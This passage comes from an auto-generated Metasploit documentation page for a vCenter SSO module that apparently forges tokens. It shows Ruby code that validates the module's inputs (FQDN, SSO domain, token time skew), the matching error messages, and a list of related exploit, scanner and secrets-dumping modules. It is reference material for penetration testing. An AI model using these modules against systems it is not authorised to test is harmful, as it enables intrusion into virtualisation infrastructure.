381: fail_with(Msf::Exploit::Failure::BadConfig, "Invalid vCenter SSO domain provided: #{domain}")
382: end
Invalid vCenter SSO domain provided: <DOMAIN>
Here is a relevant code snippet related to the "Invalid vCenter SSO domain provided: <DOMAIN>" error message:
376: unless validate_fqdn(vcenter_fqdn)
377: fail_with(Msf::Exploit::Failure::BadConfig, "Invalid vCenter FQDN provided: #{vcenter_fqdn}")
378: end
379:
380: unless validate_fqdn(domain)
381: fail_with(Msf::Exploit::Failure::BadConfig, "Invalid vCenter SSO domain provided: #{domain}")
382: end
383: end
384:
385: def validate_timestamps
386: unless (vc_token_before_skew >= 300) && (vc_token_after_skew >= 300)
Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be less than 300 seconds
Here is a relevant code snippet related to the "Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be less than 300 seconds" error message:
382: end
383: end
384:
385: def validate_timestamps
386: unless (vc_token_before_skew >= 300) && (vc_token_after_skew >= 300)
387: fail_with(Msf::Exploit::Failure::BadConfig, 'Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be less than 300 seconds')
388: end
389: unless (vc_token_before_skew <= 2592000) && (vc_token_after_skew <= 2592000)
390: fail_with(Msf::Exploit::Failure::BadConfig, 'Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be greater than 2592000 seconds')
391: end
392: end
Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be greater than 2592000 seconds
Here is a relevant code snippet related to the "Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be greater than 2592000 seconds" error message:
385: def validate_timestamps
386: unless (vc_token_before_skew >= 300) && (vc_token_after_skew >= 300)
387: fail_with(Msf::Exploit::Failure::BadConfig, 'Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be less than 300 seconds')
388: end
389: unless (vc_token_before_skew <= 2592000) && (vc_token_after_skew <= 2592000)
390: fail_with(Msf::Exploit::Failure::BadConfig, 'Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be greater than 2592000 seconds')
391: end
392: end
393:
394: def validate_fqdn(fqdn)
395: fqdn_regex = /(?=^.{4,253}$)(^((?!-)[a-z0-9-]{0,62}[a-z0-9]\.)+[a-z]{2,63}$)/
Go back to menu.
Related Pull Requests
No network connection to Github.
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/vmware/vcenter_offline_mdb_extract
- auxiliary/admin/vmware/poweroff_vm
- auxiliary/admin/vmware/poweron_vm
- auxiliary/admin/vmware/tag_vm
- auxiliary/admin/vmware/terminate_esx_sessions
- post/linux/gather/vcenter_secrets_dump
- auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass
- auxiliary/gather/vmware_vcenter_vmdir_ldap
- exploit/linux/local/ptrace_sudo_token_priv_esc
- exploit/multi/http/apache_apisix_api_default_token_rce
- exploit/unix/http/laravel_token_unserialize_exec
- exploit/windows/local/bits_ntlm_token_impersonation
- exploit/windows/local/tokenmagic
- post/windows/gather/enum_domain_tokens
- post/windows/gather/enum_tokens
- exploit/linux/http/vmware_vcenter_analytics_file_upload
- exploit/linux/http/vmware_vcenter_vsan_health_rce
- exploit/multi/http/vmware_vcenter_log4shell
- exploit/multi/http/vmware_vcenter_uploadova_rce
- exploit/windows/http/vmware_vcenter_chargeback_upload
- auxiliary/scanner/vmware/esx_fingerprint
- auxiliary/scanner/vmware/vmauthd_login
- auxiliary/scanner/vmware/vmauthd_version
- auxiliary/scanner/vmware/vmware_enum_permissions
- auxiliary/scanner/vmware/vmware_enum_sessions
- auxiliary/scanner/vmware/vmware_enum_users
- auxiliary/scanner/vmware/vmware_enum_vms
- auxiliary/scanner/vmware/vmware_host_details
- auxiliary/scanner/vmware/vmware_http_login
- auxiliary/scanner/vmware/vmware_screenshot_stealer
- auxiliary/scanner/vmware/vmware_server_dir_trav
- auxiliary/scanner/vmware/vmware_update_manager_traversal
- auxiliary/scanner/http/synology_forget_passwd_user_enum
- auxiliary/server/openssl_altchainsforgery_mitm_proxy
- exploit/multi/http/cve_2021_35464_forgerock_openam
Authors
npm[at]cesium137.io
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.